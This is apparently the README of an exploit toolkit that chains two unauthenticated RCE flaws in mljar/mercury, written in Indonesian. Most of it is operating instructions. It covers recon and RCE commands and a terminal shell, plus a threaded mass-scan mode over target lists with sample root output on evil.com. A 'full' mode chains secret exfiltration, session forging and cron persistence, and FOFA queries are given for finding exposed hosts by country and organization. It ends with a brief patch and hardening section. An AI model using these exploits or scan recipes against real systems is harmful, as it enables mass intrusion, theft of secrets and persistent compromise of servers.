Mercury unauth RCE combo: CVE-2026-111058 (kernels) + CVE-2026-111057 (terminals). By 0xNuts (@ExDev994). Authorized testing only.
Mercury unauth RCE combo toolkit (kernels + terminals).
Toolkit gabungan dua RCE unauthenticated pada mljar/mercury:
| CVE | Advisory | Vector |
|---|---|---|
| CVE-2026-111058 | GHSA-rv4m-xm3f-3ccq | /api/kernels + execute_request |
| CVE-2026-111057 | GHSA-f8c7-rwf9-fmgm | /api/terminals blocklist bypass |
Author: 0xNuts (ExDev994)
Hanya untuk pengujian yang diizinkan (lab lokal / target dengan izin tertulis). Penyalahgunaan di sistem tanpa izin adalah ilegal.
# URL repo GitHub memakai `-` (GitHub tidak mengizinkan `+` di nama repo)
git clone https://github.com/ExDev994/CVE-2026-111058-CVE-2026-111057-mercury-rce.git
cd CVE-2026-111058-CVE-2026-111057-mercury-rce
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -r requirements.txt
python exploit.py --lab
Tunggu Docker selesai build, lalu:
| URL | CVE yang aktif |
|---|---|
| http://localhost:8883 | CVE-2026-111057 + CVE-2026-111058 (Mercury 3.2.3) |
| http://localhost:8885 | CVE-2026-111058 saja (Mercury 3.2.5) |
# Cek vuln (POST terminals + kernels)
python exploit.py -t http://localhost:8883 -m recon
# PoC RCE (default: kernel / CVE-2026-111058)
python exploit.py -t http://localhost:8883 -m rce
# Shell via terminal (CVE-2026-111057, hanya di 3.2.3 lab)
python exploit.py -t http://localhost:8883 -m rce --sink terminals
Edit targets.txt (satu URL per baris), lalu:
python exploit.py -m mass -tf targets.txt -rf results.txt --threads 10
Auto port (hanya mode mass): kalau baris tanpa port (mis. example.com), tool mencoba berurutan:
http://example.com → 80, atau https:// → 443)Berhenti di URL pertama yang vuln. Baris yang sudah punya port (http://host:8883) tidak di-expand.
Contoh targets.txt:
# tanpa port → auto-fallback
example.com
mercury.internal
# dengan port → dipakai apa adanya
http://localhost:8883
192.168.1.50:8888
Terminal (verbose): tiap port yang dicoba + status akhir per baris target:
example.com [trying...]
example.com:8888 [trying...]
example.com:8000 [trying...]
example.com:5000 [trying...]
example.com [not vuln]
evil.com:8888 [trying...]
evil.com:8888 [vuln] [uid=0(root) gid=0(root) groups=0(root)]
File results.txt — hanya yang vuln (append):
http://evil.com:8888 [uid=0(root) gid=0(root) groups=0(root)]
python exploit.py -t http://localhost:8883 -m full --out exfil.json --cron
Urutan: recon → RCE → exfil secret → coba forge session → persistence.
| Flag | Fungsi |
|---|---|
-t / --target | URL Mercury (http://host:port) |
-m / --mode | recon, rce, exfil, full, persist, mass |
--sink | auto, kernels, terminals |
-tf | File daftar target (mode mass) |
-rf | File hasil vuln (mode mass) |
-th | Jumlah thread mass scan |
--lab | docker compose up di folder lab/ |
POST /api/terminals dan POST /api/kernels untuk fingerprint versi.kernels (stealth), fallback terminals (shell interaktif).idle_timeout.py, opsional cron (lab).PoC deterministic menulis marker /tmp/PWNED_MERCURY_RCE (lihat poc/payloads.py).
mercury-combo/
├── exploit.py
├── mercury_combo/ # modul inti
├── lab/ # docker-compose + Dockerfile 3.2.3 / 3.2.5
└── poc/ # payload marker
FOFA hanya membantu menemukan kandidat exposure — bukan bukti vuln. Selalu validasi manual dan patuhi scope izin.
Mulai sempit (branding):
title="Mercury"
body="runmercury" || body="mljar-mercury"
Perketat (Jupyter + Mercury):
(title="Mercury" || body="mljar") && port="8888" && protocol="http"
header="X-Jupyter-Server-Version" && (body="mercury" || title="Mercury")
body="/api/kernels" && body="mercury" && server="Tornado"
Scope geografis / org (contoh):
title="Mercury" && country="ID"
body="mljar" && port="8888" && org="Amazon"
Setelah dapat host, verifikasi dengan toolkit ini (-m recon atau -m mass di lab/izin), jangan scan massal tanpa otorisasi.
| Masalah | CVE / advisory | Fix |
|---|---|---|
Missing comma di BLOCKED_PATTERNS → /api/terminals lolos | GHSA-f8c7-rwf9-fmgm | Upgrade ke ≥ 3.2.4 (patch commit di v3.2.4). Pastikan /api/terminals benar-benar ter-block. |
/api/kernels tetap bisa execute_request tanpa auth | GHSA-rv4m-xm3f-3ccq | Blocklist tidak cukup — wajib authentication (token/password Jupyter) by default; jangan deploy token='' ke internet. Pantau release Mercury > 3.2.5 untuk patch resmi. |
Checklist hardening:
8888 (atau port Mercury) langsung ke internet; taruh di belakang VPN atau reverse proxy dengan auth (OAuth, mTLS, IP allowlist).POST /api/kernels + POST /api/terminals dari IP anonim; spike WebSocket ke /api/kernels/*/channels dan /terminals/websocket/*.Verifikasi setelah patch:
# Harus 403/401 tanpa kredensial (bukan 201)
curl -i -X POST https://your-host/api/terminals
curl -i -X POST https://your-host/api/kernels -H 'Content-Type: application/json' -d '{"name":"python3"}'